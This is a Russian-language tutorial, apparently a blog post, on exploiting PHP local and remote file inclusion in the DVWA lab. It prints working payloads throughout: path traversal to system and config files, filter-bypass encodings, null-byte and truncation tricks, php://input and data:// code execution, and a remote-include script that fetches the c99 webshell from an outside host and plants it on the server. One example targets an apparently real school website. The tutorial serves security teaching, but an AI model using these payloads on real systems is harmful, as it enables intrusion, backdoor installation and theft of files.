Локальное и удалённое внедрение файлов: эксплуатация уязвимости и обход фильтров

Иногда внедрение файлов называют инклудом, иногда рассматривают как часть PHP инъекции (инъекция кода). Последнее не совсем верно, поскольку уязвимость внедрение файлов не обязательно связана с выполнением кода.

Уязвимость может возникнуть при использовании (в PHP) таких выражений как:

  • require_once,
  • include_once,
  • include,
  • require,

У каждого из них есть небольшие нюансы, но общее у них то, что они включают в программу файл и выполняют его. Проблему эти выражения могут вызвать в том случае, если в них передаётся пользовательский ввод, а программа недостаточно его отфильтровывает.

Кстати, да, это именно выражения, а не функции. Необзятельно писать так:

require('somefile.php');

Более предпочтительным является такой вариант:

require 'somefile.php';

Но это отступление, которое не имеет никакого отношения к уязвимости.

Если инклуд файлов осуществляется выражениями require_once, include_once, include, require, то можно сказать, что в это же время имеет место и инъекция кода. Тем не менее, возможен инклуд файлов без выполнения кода на сервере. Например, веб-сайт меняет внешний вид исходя из выбранной пользователем темы. Название тем соответствует названию HTML файлов, которые считываются на сервере. В данной ситуации если запрос сформирован так, чтобы осуществить считывание файла, который для этого не предназначен (например, файл PHP), то вместо выполнения команд, будет выведен исходный код PHP.

Пользователь может указать в качестве файла для инклуда удалённый или локальный файл. На основании этого выделают две соответствующие разновидности:

  • локальное внедрение файлов
  • удалённое внедрение файлов

Опасность удалённого инклуда заключается в выполнении произвольного кода на уязвимом сервере. Обычно это используется для заражения бэкдором.

Опасность локального внедрения файлов заключается в том, что пользователь может вывести содержание файлов, на просмотр которых у него нет прав (исходные коды программ, системные файлы с настройками и паролями). Также при локальном инклуде возможно выполнение стороннего кода (например, для заражения бэкдором), если файл со злонамеренным кодом был предварительно загружен на сервер, либо использовался метод отравления логов, либо некоторые другие методы.

Локальный инклуд файлов является не менее опасным, чем внедрение удалённых файлов.

Эксплуатация локального внедрения файлов

Попробовать свои силы на этой уязвимости можно в Damn Vulnerable Web Application (DVWA). Я использую Web Security Dojo, где DVWA уже установлен.

Начнём с низкого уровня (low) безопасности (настраивается в DVWA Security).

Перейдём на страницу File Inclusion http://localhost/dvwa/vulnerabilities/fi/?page=include.php

01

Там нам предлагаются три ссылки для перехода:

  • http://localhost/dvwa/vulnerabilities/fi/?page=file1.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file2.php
  • http://localhost/dvwa/vulnerabilities/fi/?page=file3.php

Если в качестве аргумента переменной передаётся значение, похожее на имя файла (file1.php, file2.php), то можно предположить, что используется инклуд. Поскольку расширение файла .php, то вероятнее всего файл исполняется на сервере (т.е. возможно выполнить внедрение кода), а не просто выводится для показа.

В DVWA есть страничка http://localhost/dvwa/about.php, она расположена на два уровня вверх, попробуем просмотреть её таким образом: http://localhost/dvwa/vulnerabilities/fi/?page=../../about.php

02

Да, уязвимость локальный инклуд присутствует. При вводе не фильтруются переходы в верхние директории (../), список файлов для инклуда не является исчерпывающим (вместо предлагаемых file*.php мы выбрали about.php).

Иногда используются инклуд файлов, но адреса могут выглядеть, например, так http://localhost/dvwa/vulnerabilities/fi/?page=file1. В этом случае в скрипте может добавляется расширение и скрипт внедряет файл, название которого окончательно сформировано в скрипте. Как правило, уязвимость в таком виде трудно/невозможно эксплуатировать.

Часто в качестве примера эксплуатации локального инклуда файлов любят приводить что-то вроде такого:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/passwd

04

Как видим, это сработало. Но поскольку веб-браузеры игнорируют /r/n (символы новой строки), то нам нужно открыть исходный код, чтобы записи стали читаемыми:

05

К сожалению, никаких паролей в файле /etc/passwd уже давно нет.

С сервера можно стянуть разные файлы настроек, SSL-сертификаты, в принципе, любой файл, который открыт для чтения всем пользователям или на чтения которого у веб-сервера достаточно прав:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/apache2/apache2.conf

06

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

07

Что касается общих хостингов, то иногда удаётся заглянуть в чужие папки (опять же, при неправильной настройке прав пользователей).

http://localhost/dvwa/vulnerabilities/fi/?page=../../../evil/sqlite.db

03

Задача усложняется тем, что нам нужно знать путь до файла.

Эксплуатация удалённого внедрения файлов

PHP очень гибкий и дружественный для разработчиков язык программирования. Команды внедрения (инклуда) файлов и некоторые другие прекрасно распознают и правильн6о обрабатывают не только локальные файлы, но и URL…

Попробуем вместо имени файла записать URL сайта https://hackware.ru/:

http://localhost/dvwa/vulnerabilities/fi/?page=https://hackware.ru/

Посмотрите, как интересно получается:

08

Произошло следующее, PHP интерпретатор получил команду сделать инклуд файла/сайта https://hackware.ru/. Он открыл/загрузил соответствующий адрес и отправил полученный код на выполнение в качестве PHP программы. Поскольку PHP выполняет только код, окружённый соответствующими тегами (в данном случае кода вообще не было), а всё остальное выводит как есть, то вся страница веб-сайта выведена как есть.

Конечно эта уязвимость интересна нам не тем, что мы через один сайт можем просматривать другие сайты.

Мы можем сохранить наш бэкдор на уязвимом сайте. Алгоритм следующий:

  1. Генерируем / находим исходный код бэкдора
  2. Создаём правильный с точки зрения PHP файл для выполнения на сервере, который сохраняет исходный код бэкдора в PHP файл
  3. Сохраняем полученный код в ТЕКСТОВЫЙ файл
  4. Загружаем этот текстовый файл на подконтрольный сервер
  5. На уязвимом сервере с помощью удалённого инклуда файлов сохраняем наш бэкдор

Я выделил слово «текстовый» по той причине, что на подконтрольном нам сервере должен быть именно текстовый файл, который не должен исполнятся на нашем сервере. Наш сервер должен только показать его содержимое.

Для создания бэкдора можно воспользоваться Weevely, PhpSploit, а можно взять готовые решения. Давайте в этот раз воспользуемся готовым.

Я присвою переменной $backdoor исходный код бэкдора, который скачаю с гитхаба. Затем использую функцию file_put_contents для сохранения полученного исходного кода в файл c99unlimited.php.

Код, который я разместил в текстовом файле

$backdoor = file_get_contents("https://raw.githubusercontent.com/BlackArch/webshells/master/php/c99unlimited.php");
file_put_contents('c99unlimited.php', "$backdoor");
echo 'done!';

Он доступен по адресу http://miloserdov.org/sec.txt

11

Теперь, используя удалённый инклуд, мы загружаем бэкдор на уязвимый сервер.

http://localhost/dvwa/vulnerabilities/fi/?page=http://miloserdov.org/sec.txt

10

Обратите внимание на надпись done!, она выведена скриптом, т.е. вероятно всё получилось.

Поскольку скрипт, который делает инклуд файлов размещён в каталоге http://localhost/dvwa/vulnerabilities/fi/, а наш новый файл с бэкдором должен был сохраниться с именем c99unlimited.php, то полный адрес бэкдора на уязвимом сервере должен быть: http://localhost/dvwa/vulnerabilities/fi/c99unlimited.php

Проверяем:

12

Отлично, теперь у нас есть все функции, которые только могут понадобиться администратору веб-сервера… и тем, кто имеет доступ к его серверу.

Обход фильтрации при локальном инклуде файлов

Перейдём на средний уровень (medium) безопасности (настраивается в DVWA Security).

Если мы заглянем в исходный код (кнопка View Source):

13

то мы увидим, что теперь символы ../ фильтруются. Это не даст нам перейти на каталоге выше того, в которой работает уязвимый скрипт.

Т.е. так уже ничего не получится:

http://localhost/dvwa/vulnerabilities/fi/?page=../../../../../../../etc/mysql/my.cnf

Давайте подумаем, как работает фильтрация в этом случае? Допустим, фильтруется слово «плохо», тогда строка вида

хорошоплохохорошо

после фильтрации будет такой:

хорошохорошо

А если вставить такую строку

плоплохохо

то после фильтрации (будет удалено «плохо») получится

плохо

Отлично!

В ../ мы вставляем посередине ещё раз ../, получается …/./

Пробуем такой адрес http://localhost/dvwa/vulnerabilities/fi/?page=…/./…/./…/./…/./…/./…/./…/./etc/mysql/my.cnf

14

Сработало!

Ещё одним вариантом обхода может быть кодировка символов в шестнадцатеричную кодировку, пример такой строки:

http://example.com/index.php?file=..%2F..%2F..%2F..%2Fetc%2Fpasswd

«../» может заменяться на «%2E%2E%2f».

Также практикуется двойное кодирование в шестнадцатеричную кодировку, при котором «../» заменяется на «%252E%252E%252F»

Локальный инклуд файлов при добавлении расширения в скрипте

Если код с инклудом файлов имеет вид:

<?php
include("includes/".$_GET['param1'].".php");
?>

Т.е. к любому пользовательскому вводу добавляется расширение .php или какое-то другое, то это не позволяет сформировать запрос таким образом, чтобы произвести атаку.

Имеются несколько техник, которые предназначены для отбрасывания расширения, но их можно считать устаревшими, поскольку они работают на PHP 5.3, да и то не всех версий. Тем не менее, администраторы веб-серверов клинически консервативны и предпочитают ничего не трогать, если оно работает. Т.е. шанс встретить сервер с очень древней версией PHP есть, и об этих методиках следует знать.

Использование нулевого байта %00 (null byte)

В конце запроса для игнорирования расширения добавляется нулевой байт:

http://www.bihtapublicschool.co.in/index.php?token=/etc/passwd%00

Второй метод называется атака обрезкой пути. Суть в том, что PHP обрезает пути длиннее 4096 байт. При этом PHP правильно открывает файл, даже если на конце его имени имеются слеши и точки. Если в качестве параметра передать что-то вроде ?param1=../../../../etc/passwd/./././././<…> (где ./ повторяется много тысяч раз), то конец файла вместе с расширением (которое прибавил скрипт, в результате чего имя файла стало includes/../../../../etc/passwd/./././././<…>.php) будет отброшено. И в качестве имени файла получится includes/../../../../etc/passwd/./././././<…>. А поскольку PHP не смущают конечные слеши и ./ на конце файла, он их просто игнорирует, то в общей сложности PHP откроет файл по пути includes/../../../../etc/passwd.

Обход фильтрации при удалённом внедрении файлов

Как мы уже видели в исходном коде, на среднем уровне безопасности также отфильтровываются http:// и https://.

Теперь http://localhost/dvwa/vulnerabilities/fi/?page=https://hackware.ru/ не сработает. Мы воспользуемся в точности тем же приёмом, что и для обхода фильтрации при локальном инклуде. Сформированный запрос:

http://localhost/dvwa/vulnerabilities/fi/?page=htthttps://ps://hackware.ru/

15

И ещё обратите внимание, что не фильтруется, например ftp, т.е. такой вариант сработал бы вообще без всяких ухищрений:

http://localhost/dvwa/vulnerabilities/fi/?page=ftp://hackware.ru/

Получение исходного кода PHP скриптов при инклуде файлов с php://filter

Для этого трюка не требуется удалённый инклуд файлов. Будет использоваться своего рода мета-обёртка php://filter.

Допустим, мы хотим увидеть исходный код файла file1.php, тогда для нашей ситуации запрос будет составлен так:

http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

16

Обратите внимания на бессмысленную строчку из букв и цифр – это исходный код файла file1.php в кодировке base64. Поскольку это base64, то поддерживаются и бинарные файлы.

Раскодируем файл:

17

Удалённое выполнение кода с php://input

Это не похоже на внедрение файлов и для этого опять не требуется загружать файлы.

Для помощи я воспользуюсь расширением FireFox HackBar, вы также можете использовать его или любую другую программу (например, curl) умеющую передавать данные методом POST.

php://input имеет доступ к сырому телу HTTP запроса, чтобы понять, что include("php://input") делает, откройте страницу

http://localhost/dvwa/vulnerabilities/fi/?page=php://input

А в теле запроса отправьте правильный PHP код (например, с помощью метода POST). Это позволит вам выполнить любую разрешённую на удалённом сервере функцию!

<? phpinfo(); ?>

18

Удалённое выполнение кода с data://

Кроме этого, PHP поддерживает URL-схему data:// Вы можете разместить код прямо в параметре GET! Следующий тест не требует каких-либо специальных инструментов, просто обычный браузер для выполнения атаки.

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plaintext,<?php phpinfo();?>

19

Некоторые файерволы веб-приложений могут заметить подозрительную строку в URL и заблокировать злой запрос. Но есть способ зашифровать строку как минимум в base64 кодировку:

http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain;base64, PD9waHAgcGhwaW5mbygpOyA/Pg==

20

Выполнение произвольных команд с /proc/self/environ

/proc/self/environ – это хранилище переменных процесса. Если у процесса Apache достаточно прав для доступа к нему, то при открытии веб-страницы, на которой присутствует инклуд с подобным URL,

www.website.com/view.php?page=../../../../../proc/self/environ

выведет что-то вроде

DOCUMENT_ROOT=/home/sirgod/public_html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.website.com HTTP_REFERER=http://www.website.com/index.php?view=../../../../../../etc/passwd HTTP_USER_AGENT=Opera/9.80 (Windows NT 5.1; U; en) Presto/2.2.15 Version/10.00 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=6x.1xx.4x.1xx REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/home/sirgod/public_html/index.php SCRIPT_NAME=/index.php SERVER_ADDR=1xx.1xx.1xx.6x SERVER_ADMIN=webmaster@website.com SERVER_NAME=www.website.com SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE=

Обратите внимание на HTTP_USER_AGENT. Вместо него можно подставить правильный PHP код, который будет выполнен на удалённом сервере.

40

Травление и внедрение логов при локальном инклуде файлов

К сожалению, на последних версиях Apache этот метод больше не работает.

Его суть заключается в том, что в логи веб-сервера внедряется код атакующего. Это можно сделать путём подмены User-Agent, либо даже просто передачей в GET параметре.

Далее необходимо сделать инклуд файла лога.

Статичное внедрение удалённого файла

Пример статичного инклуда:

<?php include("http://192.168.1.10/config.php"); ?>

Эксплуатировать статичный инклуд можно в очень экзотичных ситуациях. Для внедрения злонамеренного кода необходимо осуществить атаку человек-посередине между двумя серверами: один из которых хостит веб-приложение, использующим инклуд, а второй хостит файл, используемый для инклуда.

Заключение

Для большинства приведённых здесь примеров необходимы определённые условия, которые сводятся к неправильной настройке сервера. Т.е. проще говоря, далеко не все показанные здесь методы сработают на большинстве веб-серверов.

Рекомендуемые статьи:

Добавить комментарий

Ваш e-mail не будет опубликован.